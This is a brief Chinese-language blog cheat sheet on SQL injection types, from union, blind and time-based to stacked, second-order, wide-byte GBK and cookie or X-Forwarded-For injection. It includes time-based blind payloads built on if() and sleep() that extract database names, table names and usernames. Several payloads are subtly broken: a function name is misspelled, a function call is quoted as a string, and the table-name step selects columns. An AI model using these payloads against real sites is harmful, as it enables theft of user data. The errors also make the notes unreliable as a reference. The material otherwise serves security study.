SQL注入

union注入

boolean注入

报错注入

时间注入语句:

if(expr1,expr2,expr3)  :若expr1为true,则执行expr2,否则执行expr3.

判断数据库库名长度: and if(length(databse())>1,sleep(5),1)

判断数据库库名:and if(substr(databse(),1,1)='t',sleep(5),1)

判断表名:and if(substr((select column_name from information_schema.columns where table_schema='database()' and table_name='users' limit 0,1),1,1)='t',sleep(5),1)

判断内容:and if(substr((select username from test.users limit 0,1),1,1)='z',sleep(5),1)

base64注入

源码对参数通过base64_encode()加密了

xff

在X_FORWORD_FOR参数处注入

堆叠注入

利用mysql能同时执行两个命令的特性。第二个命令不回显的情况下,可以与时间注入结合使用。

二次注入

第一次没有注入点

存在注入点的位置为第二次内部查询的时候

宽字符注入

addslashes()这个函数会将'转译成

gbk编码%df和的编码%5c合并为一个字符

从而'可以逃逸

cookie注入

从cookie头部传入id参数

分类:

根据注入点位置:POST、GET、cookie、xff等

根据注入点类型:字符型、数字型、搜索型

根据执行效果:报错注入、布尔盲注、时间延时

问:在Mysql5.0以上和Mysql5.0以下的版本中最大的区别是什么?
答:在Mysql5.0以上的版本中加入了一个information_schema这个系统表,这个系统表中包含了该数据库的所有数据库名、表名、列表,可以通过SQL注入来拿到用户的账号和口令,而Mysql5.0以下的只能暴力跑表名;5.0 以下是多用户单操作,5.0 以上是多用户多操作。

苟利国家生死以,岂因福祸避趋之
原文地址:https://www.cnblogs.com/lyh1/p/14338951.html